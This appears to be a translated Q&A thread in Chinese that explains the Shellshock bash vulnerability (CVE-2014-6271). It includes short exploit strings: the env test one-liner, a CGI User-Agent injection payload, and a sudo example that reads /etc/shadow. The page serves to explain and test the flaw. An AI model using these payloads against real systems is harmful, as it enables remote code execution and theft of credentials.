CVE-2014-6271 Bash 漏洞示例

CVE-2014-6271 Bash 漏洞示例

我试图了解可能存在的安全问题CVE-2014-6271,我看到的所有链接都只提供了以下命令。

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果我得到的输出为

vulnerable
this is a test

这意味着我的 bash shell 很脆弱。

但它与安全有什么关系呢?换句话说,会对我的系统造成什么损害?

答案1

安全问题是,如果 bash 启动时设置了恶意环境变量,该 bash 将执行该变量中的代码。

例如,假设您有一个调用/bin/foo bar.假设这个foo应用程序还使用了一个名为 的环境变量baz,并且该变量的值来自用户提供的输入。因此,Web 服务器应用程序设置环境,然后 shell 访问foo bar.好吧,当bash读取环境变量时,如果提供的变量有恶意代码,bash就会运行它。

通常这不是一个问题。环境变量应该是完全安全的。如果使用该变量的应用程序行为不当,那就是另一回事了。但在上述情况下bash不使用变量。baz

例如:

测试脚本.sh

export BAZ='() { :;}; echo MALICIOUS CODE'
echo starting sleep
/bin/bash -c 'sleep 1'

运行时我们得到以下信息

$ /bin/dash testscript.sh
starting sleep
MALICIOUS CODE

因此,只需设置该变量,我们就可以让 bash 运行任意代码。

 

这是另一个没有使用显式 shell 的示例,并且没有提及 bash:

$ perl -e '$ENV{"BAZ"}="() { :;}; echo MALICIOUS CODE"; print("starting sleep\n"); system("/bin/sleep 1;");'
starting sleep
MALICIOUS CODE

(要使其工作,/bin/sh需要 bash)

答案2

这些人解释了如何将代码注入网络服务器 CGI 进程。它基本上通过设置请求的用户代理来工作,使其包含利用代码:

http://packetstormsecurity.com/files/128394/bash-poc.txt

'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'

当攻击成功时,您可以使用网络服务器权限访问网络服务器,并且其全部内容将被视为已受到损害。

答案3

它也可以通过 sudo 运行,如果环境重置被禁用(至少在 Debian 中默认启用)

Defaults env_reset

但如果将其更改为

Defaults !env_reset(过去在几个系统上见过这个!!!)

然后

sudo Y='() { disabled; }; /bin/cat /etc/shadow;' /tmp/zomg.sh

根:$6$......`
段错误出现在这里

sudoers 文件包含:

alinh ALL=/tmp/zomg.sh

相关内容